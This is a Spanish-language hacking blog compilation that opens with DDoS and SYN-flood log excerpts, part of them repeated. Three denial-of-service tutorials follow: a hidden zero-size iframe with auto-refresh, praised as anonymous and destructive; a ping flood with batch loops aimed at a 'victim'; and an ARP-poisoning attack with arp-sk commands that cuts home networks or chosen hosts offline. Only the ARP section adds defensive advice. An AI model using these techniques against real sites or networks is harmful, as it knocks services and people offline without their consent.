Jun 22 18:55:33 lan mod_evasive[30509]: Blacklisting address 88.111.227.200: possible attack.
Jun 22 18:56:13 lan mod_evasive[30473]: Blacklisting address 69.199.94.227: possible attack.
Jun 22 18:57:45 lan mod_evasive[30517]: Blacklisting address 86.125.135.212: possible attack.
Jun 22 18:57:54 lan mod_evasive[30479]: Blacklisting address 84.192.141.65: possible attack.
Jun 22 18:58:46 lan mod_evasive[30527]: Blacklisting address 83.140.97.106: possible attack.
Jun 22 18:59:31 lan mod_evasive[30469]: Blacklisting address 82.173.216.196: possible attack.
Jun 22 19:00:33 lan mod_evasive[30517]: Blacklisting address 80.176.157.245: possible attack.
Jun 22 19:00:38 lan mod_evasive[30470]: Blacklisting address 86.133.102.51: possible attack.
Jun 22 19:01:35 lan mod_evasive[30870]: Blacklisting address 24.42.134.253: possible attack.
Jun 22 19:01:48 lan mod_evasive[30509]: Blacklisting address 62.254.0.34: possible attack.
Jun 22 19:02:57 lan mod_evasive[31009]: Blacklisting address 81.227.219.125: possible attack.
Jun 22 19:03:29 lan mod_evasive[31056]: Blacklisting address 172.209.173.153: possible attack.
Jun 22 19:05:07 lan mod_evasive[31385]: Blacklisting address 84.6.12.110: possible attack.
Jun 22 19:06:52 lan mod_evasive[31008]: Blacklisting address 85.227.144.249: possible attack.
Jun 22 19:06:56 lan mod_evasive[31263]: Blacklisting address 213.222.156.222: possible attack.
Jun 22 19:07:13 lan mod_evasive[31393]: Blacklisting address 62.163.143.166: possible attack.
Jun 22 19:07:37 lan mod_evasive[31021]: Blacklisting address 62.135.101.73: possible attack.
Jun 22 19:08:03 lan mod_evasive[31251]: Blacklisting address 82.201.249.69: possible attack.
Jun 22 19:08:17 lan mod_evasive[31200]: Blacklisting address 81.62.65.53: possible attack.
Jun 22 19:11:04 lan mod_evasive[31263]: Blacklisting address 82.39.148.204: possible attack.
Jun 22 19:12:37 lan mod_evasive[31241]: Blacklisting address 213.222.154.13: possible attack.
Jun 22 19:13:54 lan mod_evasive[31027]: Blacklisting address 81.51.79.4: possible attack.
Jun 22 19:24:04 lan mod_evasive[31041]: Blacklisting address 84.221.118.156: possible attack.
Jun 22 19:48:47 lan mod_evasive[3400]: Blacklisting address 62.135.101.192: possible attack.
Jun 22 19:53:04 lan mod_evasive[31031]: Blacklisting address 62.30.33.13: possible attack.
Jun 22 19:54:32 lan mod_evasive[31016]: Blacklisting address 72.14.194.18: possible attack.
Jun 22 18:24:04 lan mod_evasive[3835]: Blacklisting address 82.228.169.50: possible attack.
Jun 22 18:24:45 lan mod_evasive[3600]: Blacklisting address 81.206.164.163: possible attack.
Jun 22 18:25:46 lan mod_evasive[3589]: Blacklisting address 155.232.250.19: possible attack.
Jun 22 18:27:23 lan mod_evasive[3671]: Blacklisting address 83.227.217.2: possible attack.
Jun 22 18:28:10 lan mod_evasive[3673]: Blacklisting address 68.187.171.89: possible attack.
Jun 22 18:29:57 lan mod_evasive[3605]: Blacklisting address 70.143.2.130: possible attack.
Jun 22 18:30:45 lan mod_evasive[3803]: Blacklisting address 69.157.93.88: possible attack.
Jun 22 18:31:45 lan mod_evasive[10397]: Blacklisting address 146.64.81.22: possible attack.
Jun 22 18:35:01 lan mod_evasive[3794]: Blacklisting address 66.38.192.134: possible attack.
Jun 22 18:35:15 lan mod_evasive[3553]: Blacklisting address 81.190.204.64: possible attack.
Jun 22 18:40:10 lan mod_evasive[16602]: Blacklisting address 64.231.39.129: possible attack.
Jun 22 18:48:04 lan mod_evasive[16479]: Blacklisting address 84.99.195.100: possible attack.
Jun 22 18:48:12 lan mod_evasive[16467]: Blacklisting address 201.0.10.142: possible attack.
Jun 22 18:52:57 lan mod_evasive[16573]: Blacklisting address 219.95.39.242: possible attack.
Jun 22 18:53:07 lan mod_evasive[16534]: Blacklisting address 86.129.3.91: possible attack.
Jun 22 18:53:26 lan mod_evasive[16527]: Blacklisting address 62.254.0.32: possible attack.
Jun 22 18:54:41 lan mod_evasive[30473]: Blacklisting address 24.196.199.191: possible attack.
Jun 22 18:55:17 lan mod_evasive[30520]: Blacklisting address 142.161.157.227: possible attack.
Jun 22 18:55:24 lan mod_evasive[30461]: Blacklisting address 65.92.145.133: possible attack.
Jun 22 18:55:33 lan mod_evasive[30509]: Blacklisting address 88.111.227.200: possible attack.
Jun 22 18:56:13 lan mod_evasive[30473]: Blacklisting address 69.199.94.227: possible attack.
Jun 22 18:57:45 lan mod_evasive[30517]: Blacklisting address 86.125.135.212: possible attack.
Jun 22 18:57:54 lan mod_evasive[30479]: Blacklisting address 84.192.141.65: possible attack.
Jun 22 18:58:46 lan mod_evasive[30527]: Blacklisting address 83.140.97.106: possible attack.
Jun 22 18:59:31 lan mod_evasive[30469]: Blacklisting address 82.173.216.196: possible attack.
Jun 22 19:00:33 lan mod_evasive[30517]: Blacklisting address 80.176.157.245: possible attack.
Jun 22 19:00:38 lan mod_evasive[30470]: Blacklisting address 86.133.102.51: possible attack.
Jun 22 19:01:35 lan mod_evasive[30870]: Blacklisting address 24.42.134.253: possible attack.
Jun 22 19:01:48 lan mod_evasive[30509]: Blacklisting address 62.254.0.34: possible attack.
Jun 22 19:02:57 lan mod_evasive[31009]: Blacklisting address 81.227.219.125: possible attack.
Jun 22 19:03:29 lan mod_evasive[31056]: Blacklisting address 172.209.173.153: possible attack.
Jun 22 19:05:07 lan mod_evasive[31385]: Blacklisting address 84.6.12.110: possible attack.
Jun 22 19:06:52 lan mod_evasive[31008]: Blacklisting address 85.227.144.249: possible attack.
Jun 22 19:06:56 lan mod_evasive[31263]: Blacklisting address 213.222.156.222: possible attack.
Jun 22 19:07:13 lan mod_evasive[31393]: Blacklisting address 62.163.143.166: possible attack.
Jun 22 19:07:37 lan mod_evasive[31021]: Blacklisting address 62.135.101.73: possible attack.
Jun 22 19:08:03 lan mod_evasive[31251]: Blacklisting address 82.201.249.69: possible attack.
Jun 22 19:08:17 lan mod_evasive[31200]: Blacklisting address 81.62.65.53: possible attack.
Jun 22 19:11:04 lan mod_evasive[31263]: Blacklisting address 82.39.148.204: possible attack.
Jun 22 19:12:37 lan mod_evasive[31241]: Blacklisting address 213.222.154.13: possible attack.
Jun 22 19:13:54 lan mod_evasive[31027]: Blacklisting address 81.51.79.4: possible attack.
Jun 22 19:24:04 lan mod_evasive[31041]: Blacklisting address 84.221.118.156: possible attack.
Jun 22 19:48:47 lan mod_evasive[3400]: Blacklisting address 62.135.101.192: possible attack.
Jun 22 19:53:04 lan mod_evasive[31031]: Blacklisting address 62.30.33.13: possible attack.
Jun 22 19:54:32 lan mod_evasive[31016]: Blacklisting address 72.14.194.18: possible attack.

Si es un DDoS muy distribuido enseguida notaremos que muchas ip's diferente Dosean el Apache. 

Mirando los logs del syslog (del kernel)

Aclaro: Syslog es un estándar de facto para el envío de mensajes de registro en una red informática IP. Por syslog se conoce tanto al protocolo de red como a la aplicación o biblioteca que envía los mensajes de registro.

May 17 13:39:01 lan kernel: possible SYN flooding on port 80. Sending cookies.
May 17 13:39:02 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:35 lan kernel: NET: 4 messages suppressed.
May 17 13:39:35 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:38 lan kernel: NET: 1 messages suppressed.
May 17 13:39:38 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:43 lan kernel: NET: 6 messages suppressed.
May 17 13:39:43 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:48 lan kernel: NET: 4 messages suppressed.
May 17 13:39:48 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:52 lan kernel: NET: 9 messages suppressed.
May 17 13:39:52 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:57 lan kernel: NET: 15 messages suppressed.
May 17 13:39:57 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:40:01 lan kernel: possible SYN flooding on port 80. Sending cookies

Líneas a mirar:

possible SYN flooding on port 80. Sending cookies.

Autor: Shell Root
Fuente: http://comunidad.dragonjar.org/

13 sept. 2009

Ataque DDoS mediante IFRAME

Vamos a hablar de una forma tan sencilla como eficiente de tirar una web corporativa abajo: denegación de servicio usando inserción de código html, en concreto iframes.

Para empezar, crearemos un documento html con el siguiente contenido:





<iframe height="200" src="http://web-atacada.com/" width="200"> </iframe>

Como podéis ver al echarle un ojo al código fuente de este artículo, se trata de un iframe que incluye la página principal de una web de Rusia. Ahora bien, es bastante obvio para cualquiera que hemos insertado dicha página aquí. Sin embargo, si reducimos el tamaño de la imagen a cinco, poniendo width=5 y height=5 ...



Tan sólo se aprecia un puntito en la pantalla. Obviamente, si reducimos el tamaño a cero, el iframe no será visible al ojo humano. Y ahora, lo que haremos será incluir el iframe, por ejemplo, un centenar de veces con el tamaño a cero. No lo hago, porque tampoco quiero reventarles la web, sólo poner un ejemplo.

Como toque final, pero no aquí porque blogspot no lo permite, podríamos usar una directiva html para hacer que la página se refresque cada cinco segundos. De esta forma, tenemos un ataque DDoS en toda regla sobre la web rusa que hemos elegido:

<meta content="5;" http-equiv="REFRESH"></meta> 

Para hacer todavía más daño, lo que haremos será buscar una página con mucho peso (imágenes, videos, búsquedas,...) en su web y cargar ésta. Si hacemos cuentas, fácilmente podemos generar unos cuantos cientos de miles de visitas. Y todo esto desde blogspot, myspace o donde queramos (foros, etc).

Totalmente anónimo y altamente destructivo. Perfecto.

Fuente: http://hacking-avanzado.blogspot.com/

2 sept. 2009

Tutorial - Ataques D.o.S a base de pings


Este tutorial trata de como saturar una red (modem) con el antiguo "ping de la muerte" que ya está prácticamente parchado en todos los computadores de mundo. El punto es que el resultado del "ping de la muerte" ya no es efectivo porque las redes pueden soportar ese tamaño de paquete, entonces... Qué sucedería si muchos computadores unidos hacen el ping de la muerte contra una sola red ???... En teoría debería caer, ya que cualquier exceso en una red generaría un D.o.S, incluso si muchas personas (sin ningún código mágico) se conectase a una red, ésta se cae...

De esté modo se entra a explicar lo que hace el famoso ping de la muerte y como crear un batch que genere un loop infinito para gastarle a la red un pedazo de conexión extra permanentemente. Y si se une muchos "amigos" con este Batch quizas botar la web por  D.o.S.

Por último, vale mensionar que hay metodos D.o.S mucho más efectivos que este, pero es interesante este método y sirve para explicarse un poco mejor que es un  D.o.S.


Bien, hoy vamos a aprender, a como saturar un modem, a base de pings.

Una aclaración antes de todo, esto ya NO funciona en el 90% de los casos, pero he pensado que por saber mas o menos como se realiza un ataque D.o.S, que no falte jeje.

Un ping es un tipo de mensaje ICMP, que se usa para ver si una máquina se encuentra operativa y accesible.
El procedimiento es enviarle un ping a la máquina; ésta lo recibe y contesta. Al recibir la contestación ya sabemos que la máquina vive. Si no se recibe en un plazo dado se considera como no accesible (la máquina podría estar apagada, o todos los "caminos" en la red hacia ella cortados).
La manera de usar esto de forma ofensiva consiste en mandar más pings a un usuario de los que su máquina pueda contestar, saturándole su conexión a Internet.

Los paquetes que se envían al hacer ping son típicamente muy pequeños. Con el modificador -s  estamos forzando un nuevo tamaño (32000 bytes es aceptable; también podés probar con 64000).
Pensad: un modem de 28.8 tardará unos 18 segs. en recibir 64 Kbytes (sin considerar compresión), mientras que desde nuestra shell lo hemos mandado en ¡¡décimas de segundo!! Si consideramos además que el comando ping manda más de un paquete (los que queramos) ... ¡boom! Tendréis el módem de vuestra víctima trabajando a toda pastilla para nada y fastidiándole todo lo que esté haciendo. En particular, le estropearéis su conexión al IRC: en el mejor de los casos la víctima tendrá un lag  horroroso y en el peor será expulsada del servidor por "ping time-out".
Desgraciadamente la solución  para evitar este ataque no suele ser fácil ya que no se trata de un bug que se pueda parchear sino de la propia mecánica de los protocolos TCP/IP. Lo único que se puede hacer es rogar que nuestra máquina sea más potente que la de nuestro enemigo.

Manos a la masa

La sintaxis es:
ping -l 64000 "IP o HOST" -t

-l 64000 significa el tamaño del paquete y -t es para que mande paquetes infinitos hasta saturar el servidor.

Ejemplo:


Para comprobar que está surtiendo efecto, solo hace falta hacer un ping normal, a esa misma ip o host.
Si no la devuelve, quiere decir que está saturada devolviendo grandiosos paquetes.

Para ser más eficaz, y no teclear constantemente esa sintáxis, podemos crear un batch:

En mi caso, la sintaxis sería:


También, ejecutad varios batch a la vez, solo funciona mientras se está ejecutando el batch.

Autor: messerschmitt
Fuente: http://foro.eduhack.es/

29 ago. 2009

Cómo tirar abajo una red LAN / Wifi casera en pocos segundos (Arp DoS)

En la actualidad, la mayoría de conexiones a Internet para al hogar y pequeña oficina que los distintos ISP ofrecen a sus clientes, se basan en aparatos que aunque denominados routers, son la suma de un enrutador, un switch (Conmutador) y un punto de acceso Wireless, todo en uno. Esto facilita que con un solo dispositivo se pueda ofrecer de forma simple y económica un acceso a Internet y red a más de un usuario por linea contratada. Los proveedor de servicios de Internet ofrecen este tipo de dispositivos con una configuración predeterminada insegura, esto se debe a que la mayoría de usuarios de Internet son inexpertos y los dispositivos no pueden implementar medidas que dificulten al cliente la configuración y acceso a la red, motivo por el cual la mayoría de redes y conexiones a Internet que encontramos en hogares y pequeñas oficinas son consideradas como poco seguras.

Lo que venimos a demostrar en este post es lo simple que resulta producir una denegación de servicio en este tipo de dispositivos de red utilizando únicamente la capa de enlace. No explicaremos el protocolo ARP en detalle, se da por supuesto que el lector tiene un conocimiento básico sobre este protocolo y su funcionamiento. Para generar un DoS que impida a los clientes de una determinada red acceder al router, usaremos algo tan viejo y conocido como es el envenenamiento ARP, nosotros proponemos la siguiente estrategia, pero no es la única que podemos utilizar, hay otras formas de realizar denegaciones de servicio utilizando en la capa de enlace.
  • Inundar la red con respuestas falsas que contesten a solicitudes ARP que pregunten por la MAC del gateway.
  • Envenenar la tabla ARP del router para que asocie la MAC del gateway a la boca del router donde estemos conectados.
La capa de enlace obliga a que cualquier cliente que quisiera salir a Internet debe tener guardada la dirección física del router en su tabla ARP, para obtener esa dirección se inunda la red enviando paquetes "ARP request" a la dirección de broadcast (FF:FF:FF:FF:FF:FF) preguntando por la MAC del enrutador. Por lo tanto, si inundamos de respuestas falsas la red, indicando que la dirección física vinculada a la ip del router 192.168.1.1 es "AA:BB:CC:AA:BB:CC", el cliente que quiera salir a Internet recibirá antes la respuesta falsa que la correcta devuelta por el enrutador, quedando su tabla ARP envenenada y en consecuencia sin acceso a Internet.

La propiedad de conmutador de los routers actuales les obliga a guardar una tabla con las direcciones MAC que tiene cada equipo y a que boca está conectado. Para fortalecer un poco más el ataque y hacerlo más eficiente, recomendamos realizar un envenenamiento ARP simultaneo que indique que la MAC real del router está vinculada a la boca desde la que se está lanzando el ataque. De esta forma envenenamos la tabla ARP del enrutador y si algún cliente consiguiera obtener la dirección MAC real del router, tampoco sería capaz de salir a Internet.

Hay muchos tipos de routers en el mercado y no todos reaccionan de la misma manera antes las denegaciones de servicio, pero la inmensa mayoría de dispositivos no profesionales ceden ante este tipo de ataques en la capa de enlace, tanto si se realiza desde una conexión cableada como desde una inalámbrica, algunos dispositivos incluso se cuelgan al recibir este tipo de denegación de servicio. La herramienta que nos permite realizar este ataque de una forma simple y con un solo comando es Arp-sk, considerada la "navaja suiza" del protocolo ARP.

Sintaxis utilizada para este ataque DoS:
# arp-sk -T u0  -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -s MAC_DEL ROUTER

Escenario de ejemplo:
  • Router: 192.168.1.1 / 00:01:38:68:D4:D8
  • Cliente: 192.168.1.33 / 00:0E:2E:C5:7B:70
  • Atacante: 192.168.1.33 / 00:18:39:BB:F0:3A
Comando del atacante en relación al escenario planteado:
# arp-sk -T u1  -r -i eth0 -S 192.168.1.1:AA:BB:CC:AA:BB:CC -s 00:01:38:68:D4:D8

Opciones de Arp-sk en uso:
-T u1 -> Envía paquetes dejando un periodo de tiempo de 1 microsegundo entre paquete y paquete.
-r -> Manda respuestas ARP (ARP Reply) que configuramos con la opción -S.
-i eth0 -> Permite especificar la interfaz con la que trabajaremos, puede realizarse con tarjetas wifi.
-S 192.168.1.1:AA:BB:CC:AA:BB:CC -> Dirección IP y MAC falseada de nuestras respuestas (ARP Reply).
-s 00:01:38:68:D4:D8 -> Dirección MAC origen, nos ayuda a que se asocie la MAC del router a la boca donde tenemos conectado nuestro cable.

La opción "-s" obliga a que todos los paquetes salientes de "Arp-sk" utilicen como origen la MAC indicada, pero si el atacante visita una determinada web o alguna aplicación conecta a Internet durante la prueba de concepto, la tarjeta usará la dirección física real, por lo que en algunas ocasiones puede ser recomendable cambiar temporalmente la MAC de nuestra interfaz a nivel global, para ello podemos usar la herramienta "ifconfig".

Cambiar la dirección física de nuestra tarjeta de red.
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:01:38:68:D4:D8
# ifconfig eth0 up

Orientando la denegación de servicio hacia un host específico

Con este comando inundamos la red de respuestas ARP que vinculan la la IP de la victima con una dirección física falsa, a la vez que engañamos a la tabla ARP del router para que vincule la dirección MAC de la victima a nuestra boca del router.

# arp-sk -T u0 -r -i TARJETA -S IP_VICTIMA:MAC_INVENTADA -s MAC_VICTIMA

Otra opción que produce menos tráfico sería la siguiente, con este comando enviamos respuestas ARP que envenenan la tabla de la victima vinculando la IP del router a una dirección MAC inexistente. La opción "-d" nos permite especificar el destino de nuestro ataque y de esta forma evitar el broadcast.
# arp-sk -T u0 -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -d MAC_VICTIMA

Consultar y borrar la tabla ARP desde GNU/Linux

Consultar entradas ARP de la tabla

# arp -a

Borrar entrada de la tabla ARP

# arp -d 192.168.1.1

¿Cómo evitar / detectar este tipo de ataques ARP DoS?

Fabricantes:
  • Implementación de sistemas como DHCP snooping.
  • Facilitar mecanismos de seguridad que solo permitan utilizar la primera MAC conectada al router/switch.
  • Comprobar que la MAC origen y la anunciada en un paquete ARP Reply son las mismas.
  • Impedir que la funcionalidad de switch permita falsear la MAC de la puerta de enlace.
Usuario:
  • Usar Tablas ARP estáticas.
  • Uso de aplicaciones tipo Arpwatch y Arpalert.
  • Comprobar indicios de ARP Spoofing mediante RARP (ARP inverso), si ante una consulta, RARP devuelve más de una dirección IP, significa que esa dirección MAC ha sido clonada.
Conceptos:
ARP Who-has = ARP Request.
Router = Gateway = Puerta de enlace predeterminada = Enrutador.
Switch = Conmutador.
Dirección física = Dirección MAC = Dirección de capa 2.

Fuente: http://foro.latinohack.com/

[+] ZioneR
[+] Salu2